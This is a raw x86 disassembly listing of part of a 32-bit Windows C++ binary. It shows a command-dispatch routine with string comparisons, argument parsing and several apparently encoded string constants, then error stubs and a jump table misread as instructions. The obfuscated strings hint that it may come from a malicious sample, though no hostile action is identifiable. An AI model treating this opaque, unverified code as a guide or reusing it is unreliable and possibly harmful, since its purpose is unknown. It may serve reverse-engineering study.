mov ecx, dword [ebp - 0x1c]
lea ecx, [ecx - 0x10]
call fcn.0042eab0
add eax, 0x10
lea ecx, [ebp - 0x2c]
mov dword [esi], eax
call fcn.00445630
add esp, 4
mov byte [ebp - 4], 0x79
push dword [eax]
lea eax, [ebp - 0x38]
push eax
call fcn.00421ac0
add esp, 0xc
mov byte [ebp - 4], 0x78
lea ecx, [ebp - 0x2c]
call fcn.0042e230
push 0x596844
lea ecx, [ebp - 0x48]
call fcn.0042f850
push 0x596844
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], 0x7a
call fcn.0042f850
push ecx
lea eax, [ebp - 0x3c]
mov byte [ebp - 4], 0x7b
mov ecx, esp
push eax
call fcn.0042eb70
lea ecx, [ebp - 0x50]
call fcn.00445630
mov esi, eax
lea eax, [ebp - 0x44]
mov byte [ebp - 4], 0x7c
mov ecx, esp
push eax
call fcn.0042eb70
lea ecx, [ebp - 0x2c]
call fcn.00445630
add esp, 4
mov byte [ebp - 4], 0x7d
mov edx, esi
lea ecx, [ebp - 0x48]
push ecx
lea ecx, [ebp - 0x24]
push ecx
lea ecx, [ebp - 0x38]
push ecx
mov ecx, eax
call fcn.0045b100
add esp, 0xc
lea ecx, [ebp - 0x2c]
call fcn.0042e230
lea ecx, [ebp - 0x50]
call fcn.0042e230
lea ecx, [ebp - 0x24]
call fcn.0042e230
lea ecx, [ebp - 0x48]
call fcn.0042e230
lea ecx, [ebp - 0x38]
call fcn.0042e230
lea ecx, [ebp - 0x1c]
call fcn.0042e230
lea ecx, [ebp - 0x3c]
call fcn.0042e230
lea ecx, [ebp - 0x44]
call fcn.0042e230
lea ecx, [ebp - 0x34]
call fcn.0042e230
lea ecx, [ebp - 0xcc]
call fcn.0042d6e0
jmp 0x52c551
lea eax, [ebp - 0x4c]
push eax
sub esp, 0x18
mov ecx, esp
push 0x5c7928
call fcn.0042d3b0
lea ecx, [ebp - 0x68]
call fcn.00444f00
add esp, 0x18
mov edx, eax
mov ecx, edi
call fcn.0044f190
add esp, 4
lea ecx, [ebp - 0x68]
mov esi, eax
call fcn.0042d6e0
test esi, esi
je 0x52be6a
lea ecx, [ebp - 0x68]
call fcn.0042d340
mov ecx, edi
mov dword [ebp - 4], 0x7e
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x52be24
sub ecx, edx
lea eax, [ebp - 0x68]
mov edx, dword [ebp - 0x4c]
push eax
lea eax, [ecx + edi]
push eax
lea edx, [edx + edi]
lea ecx, [ebp - 0x70]
call fcn.0052ca40
add esp, 4
lea ecx, [ebp - 0x68]
call fcn.0052cab0
add esp, 4
push eax
mov eax, dword [ebp - 0x34]
mov ecx, dword [eax + 0xc]
call fcn.00405e00
lea ecx, [ebp - 0x68]
call fcn.0042d6e0
jmp 0x52c551
lea eax, [ebp - 0x4c]
push eax
sub esp, 0x18
mov ecx, esp
push 0x5c7958
call fcn.0042d3b0
lea ecx, [ebp - 0x68]
call fcn.00444f00
add esp, 0x18
mov edx, eax
mov ecx, edi
call fcn.0044f190
add esp, 4
lea ecx, [ebp - 0x68]
mov esi, eax
call fcn.0042d6e0
test esi, esi
je 0x52bf13
lea ecx, [ebp - 0x68]
call fcn.0042d340
mov ecx, edi
mov dword [ebp - 4], 0x7f
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x52beb6
sub ecx, edx
lea eax, [ebp - 0x68]
mov edx, dword [ebp - 0x4c]
push eax
lea eax, [ecx + edi]
push eax
lea edx, [edx + edi]
lea ecx, [ebp - 0x70]
call fcn.0052ca40
lea eax, [ebp - 0x24]
mov dword [ebp - 0x48], 0xffffffff
push eax
lea edx, [ebp - 0x48]
mov dword [ebp - 0x24], 0xffffffff
lea ecx, [ebp - 0x68]
call fcn.0044afa0
mov eax, dword [ebp - 0x34]
add esp, 0xc
push dword [ebp - 0x24]
mov ecx, dword [eax + 0xc]
push dword [ebp - 0x48]
call fcn.00406410
lea ecx, [ebp - 0x68]
call fcn.0042d6e0
jmp 0x52c551
lea eax, [ebp - 0x4c]
push eax
sub esp, 0x18
mov ecx, esp
push 0x5c7940
call fcn.0042d3b0
lea ecx, [ebp - 0x68]
call fcn.00444f00
add esp, 0x18
mov edx, eax
mov ecx, edi
call fcn.0044f190
add esp, 4
lea ecx, [ebp - 0x68]
mov esi, eax
call fcn.0042d6e0
test esi, esi
je 0x52bf55
call fcn.0044f120
jmp 0x52c551
lea eax, [ebp - 0x4c]
push eax
sub esp, 0x18
mov ecx, esp
push 0x5c79a0
call fcn.0042d3b0
lea ecx, [ebp - 0x68]
call fcn.00444f00
add esp, 0x18
mov edx, eax
mov ecx, edi
call fcn.0044f190
add esp, 4
lea ecx, [ebp - 0x68]
mov esi, eax
call fcn.0042d6e0
test esi, esi
je 0x52c285
lea ecx, [ebp - 0x68]
call fcn.0042d340
mov ecx, edi
mov dword [ebp - 4], 0x80
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x52bfa5
sub ecx, edx
lea eax, [ebp - 0x68]
mov edx, dword [ebp - 0x4c]
push eax
lea eax, [ecx + edi]
lea edx, [edx + edi]
push eax
lea ecx, [ebp - 0x70]
call fcn.0052ca40
add esp, 8
lea ecx, [ebp - 0x1c]
call fcn.004203d0
lea ecx, [ebp - 0x44]
call fcn.004203d0
lea eax, [ebp - 0x44]
mov byte [ebp - 4], 0x82
push eax
lea edx, [ebp - 0x1c]
lea ecx, [ebp - 0x68]
call fcn.0044b1b0
add esp, 4
lea ecx, [ebp - 0x44]
call fcn.0044f140
mov dword [ebp - 0x28], eax
cmp eax, 0xffffffff
jne 0x52c0f8
push str.Y3llVahMLiCg4WUGhE
lea ecx, [ebp - 0x20]
call fcn.0042f850
push str.SWNFjbCwRBNwM7
lea ecx, [ebp - 0x3c]
mov byte [ebp - 4], 0x83
call fcn.0042f850
push str.TGRtQRikWjHws_lA1APCIhIMRKiUAWMgAlkCAgZFHAUZALg
lea ecx, [ebp - 0x38]
mov byte [ebp - 4], 0x84
call fcn.0042f850
push 0x596844
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 0x85
call fcn.0042f850
push 0x596844
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], 0x86
call fcn.0042f850
push ecx
lea eax, [ebp - 0x38]
mov byte [ebp - 4], 0x87
mov ecx, esp
push eax
call fcn.0042eb70
lea ecx, [ebp - 0x6c]
call fcn.00445630
mov edi, eax
lea eax, [ebp - 0x3c]
mov byte [ebp - 4], 0x88
mov ecx, esp
push eax
call fcn.0042eb70
lea ecx, [ebp - 0x40]
call fcn.00445630
mov esi, eax
lea eax, [ebp - 0x20]
mov byte [ebp - 4], 0x89
mov ecx, esp
push eax
call fcn.0042eb70
lea ecx, [ebp - 0x2c]
call fcn.00445630
add esp, 4
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 0x8a
push ecx
lea ecx, [ebp - 0x24]
mov edx, esi
push ecx
push edi
mov ecx, eax
call fcn.0045b100
add esp, 0xc
lea ecx, [ebp - 0x2c]
call fcn.0042e230
lea ecx, [ebp - 0x40]
call fcn.0042e230
lea ecx, [ebp - 0x6c]
call fcn.0042e230
lea ecx, [ebp - 0x24]
call fcn.0042e230
lea ecx, [ebp - 0x48]
call fcn.0042e230
lea ecx, [ebp - 0x38]
call fcn.0042e230
lea ecx, [ebp - 0x3c]
call fcn.0042e230
lea ecx, [ebp - 0x20]
call fcn.0042e230
lea ecx, [ebp - 0x38]
call fcn.004203d0
push str.SkFMwUDFjZLSA6kY3YrgaGQ7FI2h7zN3IrYMTwPQOTUt4JD8yibmoxuYyIx7JyRuvamhkeOyNoTbW4jNPiA4fJTljzdnJv3Nj9ymNzwx8LQ
lea ecx, [ebp - 0x9c]
mov byte [ebp - 4], 0x8b
call fcn.0042ef50
push str.aUQybZwcrMXAI
lea ecx, [ebp - 0xe4]
mov byte [ebp - 4], 0x8c
call fcn.0042ef50
push str.NG9sPVV0BjHyFVrAwAwfUA
lea ecx, [ebp - 0x100]
mov byte [ebp - 4], 0x8d
call fcn.0042ef50
sub esp, 0x18
mov byte [ebp - 4], 0x8e
cmp dword [ebp - 0x28], 1
mov ecx, esp
jne 0x52c16d
lea eax, [ebp - 0x100]
push eax
call fcn.0042eba0
lea ecx, [ebp - 0x6c]
call fcn.00445250
add esp, 0x18
mov byte [ebp - 4], 0x8f
mov ecx, 1
jmp 0x52c190
lea eax, [ebp - 0xe4]
push eax
call fcn.0042eba0
lea ecx, [ebp - 0x28]
call fcn.00445250
add esp, 0x18
mov dword [ebp - 4], 0x90
mov ecx, 2
push dword [eax]
mov dword [ebp - 0x50], ecx
mov dword [ebp - 0x3c], ecx
lea ecx, [ebp - 0x130]
call fcn.0042ef50
mov dword [ebp - 4], 0x91
mov eax, dword [ebp - 0x3c]
test al, 2
je 0x52c1c2
and eax, 0xfffffffd
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x3c], eax
call fcn.0042e230
mov eax, dword [ebp - 0x3c]
mov byte [ebp - 4], 0x93
test al, 1
je 0x52c1d2
lea ecx, [ebp - 0x6c]
call fcn.0042e230
lea ecx, [ebp - 0x130]
call fcn.0042e680
mov esi, eax
sub esp, 0x18
mov eax, dword [ebp - 0x34]
mov ecx, esp
mov edi, dword [eax]
lea eax, [ebp - 0x9c]
push eax
call fcn.0042eba0
lea ecx, [ebp - 0x40]
call fcn.00445250
push esi
mov byte [ebp - 4], 0x94
push dword [ebp - 0x1c]
push edi
push dword [eax]
lea eax, [ebp - 0x38]
push eax
call fcn.00421ac0
add esp, 0x2c
mov byte [ebp - 4], 0x93
lea ecx, [ebp - 0x40]
call fcn.0042e230
push ecx
lea eax, [ebp - 0x38]
mov ecx, esp
push eax
call fcn.0042eb70
mov ecx, dword [ebp - 0x34]
call fcn.00527de0
lea ecx, [ebp - 0x130]
call fcn.0042ed00
lea ecx, [ebp - 0x100]
call fcn.0042ed00
lea ecx, [ebp - 0xe4]
call fcn.0042ed00
lea ecx, [ebp - 0x9c]
call fcn.0042ed00
lea ecx, [ebp - 0x38]
call fcn.0042e230
lea ecx, [ebp - 0x44]
call fcn.0042e230
lea ecx, [ebp - 0x1c]
call fcn.0042e230
lea ecx, [ebp - 0x68]
call fcn.0042d6e0
jmp 0x52c551
lea eax, [ebp - 0x4c]
push eax
sub esp, 0x18
mov ecx, esp
push 0x5c7a78
call fcn.0042d3b0
lea ecx, [ebp - 0x68]
call fcn.00444f00
add esp, 0x18
mov edx, eax
mov ecx, edi
call fcn.0044f190
add esp, 4
lea ecx, [ebp - 0x68]
mov esi, eax
call fcn.0042d6e0
test esi, esi
je 0x52c34e
lea ecx, [ebp - 0x68]
call fcn.0042d340
mov ecx, edi
mov dword [ebp - 4], 0x95
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x52c2d5
sub ecx, edx
lea eax, [ebp - 0x68]
mov edx, dword [ebp - 0x4c]
push eax
lea eax, [ecx + edi]
push eax
lea edx, [edx + edi]
lea ecx, [ebp - 0x70]
call fcn.0052ca40
add esp, 8
lea ecx, [ebp - 0x68]
push 0x596844
call fcn.0042bf70
lea eax, [ebp - 0x50]
mov dword [ebp - 0x20], 1
push eax
lea eax, [ebp - 0x20]
mov dword [ebp - 0x50], 2
push eax
lea eax, [ebp - 0x70]
push eax
lea edx, [ebp - 0xe8]
lea ecx, [ebp - 0x68]
call fcn.0044b5c0
mov eax, dword [ebp - 0x50]
add esp, 0xc
or eax, dword [ebp - 0x20]
push eax
mov eax, dword [ebp - 0x34]
mov ecx, dword [eax + 0xc]
call fcn.00414710
lea ecx, [ebp - 0x68]
call fcn.0042d6e0
jmp 0x52c551
lea eax, [ebp - 0x4c]
push eax
sub esp, 0x18
mov ecx, esp
push 0x5c79b8
call fcn.0042d3b0
lea ecx, [ebp - 0x68]
call fcn.00444f00
add esp, 0x18
mov edx, eax
mov ecx, edi
call fcn.0044f190
add esp, 4
lea ecx, [ebp - 0x68]
mov esi, eax
call fcn.0042d6e0
test esi, esi
je 0x52c40d
lea ecx, [ebp - 0x68]
call fcn.0042d340
mov ecx, edi
mov dword [ebp - 4], 0x96
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x52c3a0
sub ecx, edx
lea eax, [ebp - 0x68]
mov edx, dword [ebp - 0x4c]
push eax
lea eax, [ecx + edi]
lea edx, [edx + edi]
push eax
lea ecx, [ebp - 0x70]
call fcn.0052ca40
add esp, 4
lea ecx, [ebp - 0x68]
call fcn.0052cab0
add esp, 4
lea ecx, [ebp - 0x130]
test eax, eax
mov eax, dword [ebp - 0x34]
setne byte [ebp - 0x2d]
push dword [eax]
call fcn.0042ef50
mov dl, byte [ebp - 0x2d]
lea ecx, [ebp - 0x130]
mov byte [ebp - 4], 0x97
call fcn.00538950
lea ecx, [ebp - 0x130]
call fcn.0042ed00
lea ecx, [ebp - 0x68]
call fcn.0042d6e0
jmp 0x52c551
push edi
lea ecx, [ebp - 0x44]
call fcn.0042e150
push str.NHJ0FMUEceH19bWBRpufQRsrrXFEBlB1BTjFw
lea ecx, [ebp - 0x38]
mov dword [ebp - 4], 0x98
call fcn.0042f850
push str.WVQ1VWTQnvUmR8rI0Y
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 0x99
call fcn.0042f850
lea ecx, [ebp - 0x1c]
call fcn.004203d0
sub esp, 0x18
mov byte [ebp - 4], 0x9b
mov ecx, esp
push dword [ebp - 0x44]
call fcn.0042ef50
lea ecx, [ebp - 0x6c]
call fcn.00430530
add esp, 0x14
mov byte [ebp - 4], 0x9c
mov esi, dword [eax]
mov ecx, esp
lea eax, [ebp - 0x48]
push eax
call fcn.0042eb70
lea ecx, [ebp - 0x28]
call fcn.00445630
add esp, 4
push esi
mov byte [ebp - 4], 0x9d
push dword [eax]
lea eax, [ebp - 0x1c]
push eax
call fcn.00421ac0
add esp, 0xc
lea ecx, [ebp - 0x28]
call fcn.0042e230
lea ecx, [ebp - 0x6c]
mov byte [ebp - 4], 0x9b
call fcn.0042e230
push 0x596844
lea ecx, [ebp - 0x24]
call fcn.0042f850
push 0x596844
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 0x9e
call fcn.0042f850
push ecx
lea eax, [ebp - 0x38]
mov byte [ebp - 4], 0x9f
mov ecx, esp
push eax
call fcn.0042eb70
lea ecx, [ebp - 0x6c]
call fcn.00445630
mov esi, eax
sub esp, 0x14
mov byte [ebp - 4], 0xa0
mov ecx, esp
push 0x5cc39c
call fcn.0042eba0
lea ecx, [ebp - 0x28]
call fcn.00445250
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], 0xa1
push ecx
lea ecx, [ebp - 0x20]
push ecx
lea ecx, [ebp - 0x1c]
push ecx
mov edx, esi
mov ecx, eax
call fcn.0045b100
add esp, 0x24
lea ecx, [ebp - 0x28]
call fcn.0042e230
lea ecx, [ebp - 0x6c]
call fcn.0042e230
lea ecx, [ebp - 0x20]
call fcn.0042e230
lea ecx, [ebp - 0x24]
call fcn.0042e230
lea ecx, [ebp - 0x1c]
call fcn.0042e230
lea ecx, [ebp - 0x48]
call fcn.0042e230
lea ecx, [ebp - 0x38]
call fcn.0042e230
lea ecx, [ebp - 0x44]
call fcn.0042e230
mov ecx, dword [ebp - 0xc]
xor eax, eax
pop edi
mov dword fs:[0], ecx
pop esi
pop ebx
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret 4
call fcn.005549df
call fcn.005549df
call fcn.005549df
call fcn.005549df
call fcn.005549df
call fcn.005549df
call fcn.005549df
call fcn.005549df
call fcn.005549df
call fcn.005549df
call fcn.005549df
call fcn.005549df
call fcn.005549df
call fcn.005549df
call fcn.005549df
call fcn.005549df
call fcn.005549df
call fcn.005549df
call fcn.005549df
push str.invalid_stoi_argument
call fcn.00539499
push str.stoi_argument_out_of_range
call fcn.005394d9
call fcn.005549df
call fcn.005549df
call fcn.005549df
call fcn.005549df
push 0x80004005
call fcn.0042f720
push 0x80004005
call fcn.0042f720
push 0x80004005
call fcn.0042f720
push 0x80004005
call fcn.0042f720
push 0x80004005
call fcn.0042f720
push 0x80004005
call fcn.0042f720
call fcn.005549df
call fcn.005549df
push 0x80004005
call fcn.0042f720
push 0x80004005
call fcn.0042f720
push 0x80004005
call fcn.0042f720
push 0x80004005
call fcn.0042f720
push 0x80004005
call fcn.0042f720
push str.invalid_map_K__T__key
call fcn.005394d9
push 0x80004005
call fcn.0042f720
push 0x80004005
call fcn.0042f720
push 0x80004005
call fcn.0042f720
push 0x80004005
call fcn.0042f720
nop
dec esi
mov bh, 82
add ah, ah
mov dh, 0x52
add byte [eax - 0x49], ah
push edx
add byte [edx], bh
mov bh, 0x52
add byte [edi + esi*4 + 0x52], bh
add byte [eax], al
add al, 4
add al, 1
add al, 4
add al, 4
add al, 4
add al, 2
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 3
int3